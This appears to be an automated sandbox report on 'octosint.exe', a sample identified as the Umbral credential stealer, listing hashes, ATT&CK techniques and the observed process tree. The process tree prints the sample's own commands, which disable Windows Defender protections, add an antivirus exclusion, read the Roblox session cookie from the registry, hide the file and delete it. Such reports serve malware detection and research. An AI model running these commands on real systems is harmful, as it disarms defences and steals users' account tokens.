umbral | 2464cc00fd3a0e7b5fd2e171e967b2ef65fde94bff68dda2dab12e2b9dce108d

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-11-2024 08:54

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General

Target

octosint.exe
Size

628KB
MD5

b4effaa19b06eb4a92b66b0ff2702c91
SHA1

703aa3cec640517f6e51033c27bef4bbeb9afe9b
SHA256

2464cc00fd3a0e7b5fd2e171e967b2ef65fde94bff68dda2dab12e2b9dce108d
SHA512

d7e379b2148dc4697e7cd1529ef88bc5386f66df992afcb4423b4f24a7402b18531aee341c3dc22fe97d37583d7856a13cd1cdbeb341b042f0b547f485e09cd8
SSDEEP

12288:2oZtL+EP8GwI8EKtFu9r20VJg2VFRiMdRC:qI8fI8EKtFu9r20VJg2hiMdA

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/1088-1-0x0000000000E00000-0x0000000000EA4000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe
2260	powershell.exe
2144	powershell.exe
264	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	octosint.exe

Deletes itself 1 IoCs

pid	Process
2108	cmd.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2108	cmd.exe
2088	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1040	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2088	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1088	octosint.exe
2748	powershell.exe
2260	powershell.exe
2144	powershell.exe
2452	powershell.exe
264	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1088	octosint.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeIncreaseQuotaPrivilege	2692	wmic.exe
Token: SeSecurityPrivilege	2692	wmic.exe
Token: SeTakeOwnershipPrivilege	2692	wmic.exe
Token: SeLoadDriverPrivilege	2692	wmic.exe
Token: SeSystemProfilePrivilege	2692	wmic.exe
Token: SeSystemtimePrivilege	2692	wmic.exe
Token: SeProfSingleProcessPrivilege	2692	wmic.exe
Token: SeIncBasePriorityPrivilege	2692	wmic.exe
Token: SeCreatePagefilePrivilege	2692	wmic.exe
Token: SeBackupPrivilege	2692	wmic.exe
Token: SeRestorePrivilege	2692	wmic.exe
Token: SeShutdownPrivilege	2692	wmic.exe
Token: SeDebugPrivilege	2692	wmic.exe
Token: SeSystemEnvironmentPrivilege	2692	wmic.exe
Token: SeRemoteShutdownPrivilege	2692	wmic.exe
Token: SeUndockPrivilege	2692	wmic.exe
Token: SeManageVolumePrivilege	2692	wmic.exe
Token: 33	2692	wmic.exe
Token: 34	2692	wmic.exe
Token: 35	2692	wmic.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	2260	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeIncreaseQuotaPrivilege	1592	wmic.exe
Token: SeSecurityPrivilege	1592	wmic.exe
Token: SeTakeOwnershipPrivilege	1592	wmic.exe
Token: SeLoadDriverPrivilege	1592	wmic.exe
Token: SeSystemProfilePrivilege	1592	wmic.exe
Token: SeSystemtimePrivilege	1592	wmic.exe
Token: SeProfSingleProcessPrivilege	1592	wmic.exe
Token: SeIncBasePriorityPrivilege	1592	wmic.exe
Token: SeCreatePagefilePrivilege	1592	wmic.exe
Token: SeBackupPrivilege	1592	wmic.exe
Token: SeRestorePrivilege	1592	wmic.exe
Token: SeShutdownPrivilege	1592	wmic.exe
Token: SeDebugPrivilege	1592	wmic.exe
Token: SeSystemEnvironmentPrivilege	1592	wmic.exe
Token: SeRemoteShutdownPrivilege	1592	wmic.exe
Token: SeUndockPrivilege	1592	wmic.exe
Token: SeManageVolumePrivilege	1592	wmic.exe
Token: 33	1592	wmic.exe
Token: 34	1592	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 1088 wrote to memory of 2692	1088	octosint.exe	30
PID 1088 wrote to memory of 2692	1088	octosint.exe	30
PID 1088 wrote to memory of 2692	1088	octosint.exe	30
PID 1088 wrote to memory of 2608	1088	octosint.exe	33
PID 1088 wrote to memory of 2608	1088	octosint.exe	33
PID 1088 wrote to memory of 2608	1088	octosint.exe	33
PID 1088 wrote to memory of 2748	1088	octosint.exe	35
PID 1088 wrote to memory of 2748	1088	octosint.exe	35
PID 1088 wrote to memory of 2748	1088	octosint.exe	35
PID 1088 wrote to memory of 2260	1088	octosint.exe	37
PID 1088 wrote to memory of 2260	1088	octosint.exe	37
PID 1088 wrote to memory of 2260	1088	octosint.exe	37
PID 1088 wrote to memory of 2144	1088	octosint.exe	39
PID 1088 wrote to memory of 2144	1088	octosint.exe	39
PID 1088 wrote to memory of 2144	1088	octosint.exe	39
PID 1088 wrote to memory of 2452	1088	octosint.exe	41
PID 1088 wrote to memory of 2452	1088	octosint.exe	41
PID 1088 wrote to memory of 2452	1088	octosint.exe	41
PID 1088 wrote to memory of 1592	1088	octosint.exe	43
PID 1088 wrote to memory of 1592	1088	octosint.exe	43
PID 1088 wrote to memory of 1592	1088	octosint.exe	43
PID 1088 wrote to memory of 1056	1088	octosint.exe	45
PID 1088 wrote to memory of 1056	1088	octosint.exe	45
PID 1088 wrote to memory of 1056	1088	octosint.exe	45
PID 1088 wrote to memory of 1504	1088	octosint.exe	47
PID 1088 wrote to memory of 1504	1088	octosint.exe	47
PID 1088 wrote to memory of 1504	1088	octosint.exe	47
PID 1088 wrote to memory of 264	1088	octosint.exe	49
PID 1088 wrote to memory of 264	1088	octosint.exe	49
PID 1088 wrote to memory of 264	1088	octosint.exe	49
PID 1088 wrote to memory of 1040	1088	octosint.exe	51
PID 1088 wrote to memory of 1040	1088	octosint.exe	51
PID 1088 wrote to memory of 1040	1088	octosint.exe	51
PID 1088 wrote to memory of 2108	1088	octosint.exe	53
PID 1088 wrote to memory of 2108	1088	octosint.exe	53
PID 1088 wrote to memory of 2108	1088	octosint.exe	53
PID 2108 wrote to memory of 2088	2108	cmd.exe	55
PID 2108 wrote to memory of 2088	2108	cmd.exe	55
PID 2108 wrote to memory of 2088	2108	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2608	attrib.exe

C:\Users\Admin\AppData\Local\Temp\octosint.exe
"C:\Users\Admin\AppData\Local\Temp\octosint.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\octosint.exe"
  2⤵
  - Views/modifies file attributes
  PID:2608
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\octosint.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2452
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1592
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1056
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1504
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:264
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1040
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\octosint.exe" && pause
  2⤵
  - Deletes itself
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2108
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
abb20816d727d6135d91587c9ea73687

SHA1
763a8ab9c782b2d32c601a33a4adfd54a5d7b8a6

SHA256
69623f6a5d9efd21d089d310b6b050a2e03b9b0774a9c31c4914b0a802ed7ba7

SHA512
5b05c693560bfb5946f200c677242c30eb90c939ac0970fe4cd892eb095c2b6ef303586c5bd9b31f88b76d91e1fdb04bb4a65884d9da52bf11d18e165f067dc1

Download Submit
memory/264-42-0x0000000002890000-0x0000000002898000-memory.dmp

Filesize
32KB

Download
memory/1088-0-0x000007FEF5063000-0x000007FEF5064000-memory.dmp

Filesize
4KB

Download
memory/1088-1-0x0000000000E00000-0x0000000000EA4000-memory.dmp

Filesize
656KB

Download
memory/1088-2-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

Filesize
9.9MB

Download
memory/1088-46-0x000007FEF5060000-0x000007FEF5A4C000-memory.dmp

Filesize
9.9MB

Download
memory/2260-14-0x000000001B560000-0x000000001B842000-memory.dmp

Filesize
2.9MB

Download
memory/2260-15-0x0000000001FD0000-0x0000000001FD8000-memory.dmp

Filesize
32KB

Download
memory/2748-7-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2748-8-0x0000000002050000-0x0000000002058000-memory.dmp

Filesize
32KB

Download